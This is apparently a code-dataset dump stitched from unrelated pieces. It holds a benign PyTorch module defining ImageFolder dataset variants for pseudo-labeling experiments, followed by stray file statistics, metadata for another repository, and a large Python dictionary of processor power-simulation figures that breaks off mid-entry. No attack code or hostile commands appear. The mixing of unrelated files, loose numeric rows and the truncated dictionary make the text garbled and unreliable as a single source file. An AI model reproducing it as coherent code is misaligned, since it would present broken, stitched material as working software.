|
[
"MIT"
] | 13
|
2022-03-02T02:59:52.000Z
|
2022-03-24T07:30:49.000Z
|
data/datasets.py
|
frank-xwang/debiased-pseudo-labeling
|
a454dbc3a67eca323c57cba889a2828fca7dd72f
|
[
"MIT"
] | null | null | null |
data/datasets.py
|
frank-xwang/debiased-pseudo-labeling
|
a454dbc3a67eca323c57cba889a2828fca7dd72f
|
[
"MIT"
] | null | null | null |
import numpy as np
from torchvision.datasets.folder import ImageFolder, default_loader
def get_keep_index(labels, percent, num_classes, shuffle=False):
labels = np.array(labels)
keep_indexs = []
for i in range(num_classes):
idx = np.where(labels == i)[0]
num_sample = len(idx)
label_per_class = min(max(1, round(percent * num_sample)), num_sample)
if shuffle:
np.random.shuffle(idx)
keep_indexs.extend(idx[:label_per_class])
return keep_indexs
class ImageFolders(ImageFolder):
def __init__(self, root, transform=None, target_transform=None,
loader=default_loader, is_valid_file=None, percent=1.0, shuffle=False):
super().__init__(root, transform=transform, target_transform=target_transform,
loader=loader, is_valid_file=is_valid_file)
assert 0 <= percent <= 1
keep_indexs = get_keep_index(self.targets, percent, len(self.classes), shuffle)
self.samples = [self.samples[i] for i in keep_indexs]
self.targets = [self.targets[i] for i in keep_indexs]
self.imgs = self.samples
class ImageFolderWithPercent(ImageFolder):
def __init__(self, root, transform=None, target_transform=None,
loader=default_loader, is_valid_file=None, percent=1.0, shuffle=False):
super().__init__(root, transform=transform, target_transform=target_transform,
loader=loader, is_valid_file=is_valid_file)
assert 0 <= percent <= 1
if percent < 1:
keep_indexs = get_keep_index(self.targets, percent, len(self.classes), shuffle)
self.samples = [self.samples[i] for i in keep_indexs]
self.targets = [self.targets[i] for i in keep_indexs]
self.imgs = self.samples
class ImageFolderWithIndex(ImageFolder):
def __init__(self, root, indexs=None, transform=None, target_transform=None,
loader=default_loader, is_valid_file=None):
super().__init__(root, transform=transform, target_transform=target_transform,
loader=loader, is_valid_file=is_valid_file)
if indexs is not None:
self.samples = [self.samples[i] for i in indexs]
self.targets = [self.targets[i] for i in indexs]
self.imgs = self.samples
def __getitem__(self, index):
path, target = self.imgs[index]
img = self.loader(path)
if self.transform is not None:
img = self.transform(img)
if self.target_transform is not None:
target = self.target_transform(target)
return img, target, index
def __len__(self):
return len(self.imgs)
class ImageFolderWithIndexPseudoLabels(ImageFolder):
def __init__(self, root, indexs=None, transform=None, target_transform=None,
loader=default_loader, is_valid_file=None, PseudoLabels=None):
super().__init__(root, transform=transform, target_transform=target_transform,
loader=loader, is_valid_file=is_valid_file)
if indexs is not None:
self.samples = [self.samples[i] for i in indexs]
self.targets = [self.targets[i] for i in indexs]
self.imgs = self.samples
if PseudoLabels is not None:
self.targets = PseudoLabels
def __getitem__(self, index):
path, target = self.imgs[index]
img = self.loader(path)
if self.transform is not None:
img = self.transform(img)
if self.target_transform is not None:
target = self.target_transform(target)
return img, target, index
def __len__(self):
return len(self.imgs)
class ImageFolderWithIndexCLIP(ImageFolder):
def __init__(self, root, indexs=None, transform=None, target_transform=None,
loader=default_loader, is_valid_file=None):
super().__init__(root, transform=transform, target_transform=target_transform,
loader=loader, is_valid_file=is_valid_file)
if indexs is not None:
self.samples = [self.samples[i] for i in indexs]
self.targets = [self.targets[i] for i in indexs]
self.imgs = self.samples
def __getitem__(self, index):
path, target = self.imgs[index]
img = self.loader(path)
if self.transform is not None:
img = self.transform(img)
if self.target_transform is not None:
target = self.target_transform(target)
return img, target, index
def __len__(self):
return len(self.imgs)
| 41.535714
| 91
| 0.64166
| 580
| 4,652
| 4.896552
| 0.115517
| 0.110915
| 0.058099
| 0.059859
| 0.821479
| 0.821479
| 0.821479
| 0.821479
| 0.821479
| 0.821479
| 0
| 0.003221
| 0.265907
| 4,652
| 112
| 92
| 41.535714
| 0.828404
| 0
| 0
| 0.763441
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021505
| 1
| 0.129032
| false
| 0
| 0.021505
| 0.032258
| 0.27957
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5c370505707d26dec01cffff891d3f86127b6d32
| 68,697
|
py
|
Python
|
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/SystemIPC_2/EightThreads_lbm/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/SystemIPC_2/EightThreads_lbm/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/SystemIPC_2/EightThreads_lbm/power.py
|
TugberkArkose/MLScheduler
|
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
|
[
"Unlicense"
] | null | null | null |
power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0633037,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.25241,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.447847,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.114673,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.198573,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.113887,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.427133,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0446874,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.68063,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0846079,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.004157,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0494505,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0307435,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.134058,
'Execution Unit/Register Files/Runtime Dynamic': 0.0349005,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.136835,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.310743,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
'Execution Unit/Runtime Dynamic': 1.43056,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 6.23645e-05,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 6.23645e-05,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 5.39896e-05,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 2.07199e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000441634,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000620352,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000609728,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0295546,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 1.87993,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0593997,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.100381,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.19107,
'Instruction Fetch Unit/Runtime Dynamic': 0.190565,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0749298,
'L2/Runtime Dynamic': 0.0469415,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 1.90298,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.430505,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0215422,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0215421,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.00512,
'Load Store Unit/Runtime Dynamic': 0.558285,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0531193,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.106238,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
'Memory Management Unit/Area': 0.434579,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0188522,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0199705,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.116887,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.00975887,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.307977,
'Memory Management Unit/Runtime Dynamic': 0.0297294,
'Memory Management Unit/Subthreshold Leakage': 0.0769113,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462,
'Peak Dynamic': 16.8214,
'Renaming Unit/Area': 0.369768,
'Renaming Unit/FP Front End RAT/Area': 0.168486,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.295178,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925,
'Renaming Unit/Free List/Area': 0.0414755,
'Renaming Unit/Free List/Gate Leakage': 4.15911e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0401324,
'Renaming Unit/Free List/Runtime Dynamic': 0.00941572,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987,
'Renaming Unit/Gate Leakage': 0.00863632,
'Renaming Unit/Int Front End RAT/Area': 0.114751,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0526174,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781,
'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 0.357211,
'Renaming Unit/Subthreshold Leakage': 0.070483,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 2.6133,
'Subthreshold Leakage': 6.21877,
'Subthreshold Leakage with power gating': 2.58311},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0325729,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.228273,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.230031,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.0511135,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.0824441,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.041615,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.175173,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.023192,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.24234,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0434578,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00214393,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0254973,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0158557,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0689551,
'Execution Unit/Register Files/Runtime Dynamic': 0.0179996,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.0618607,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.141843,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 0.968665,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 3.25431e-05,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 3.25431e-05,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 2.81561e-05,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 1.07964e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000227768,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00032101,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000318768,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0152425,
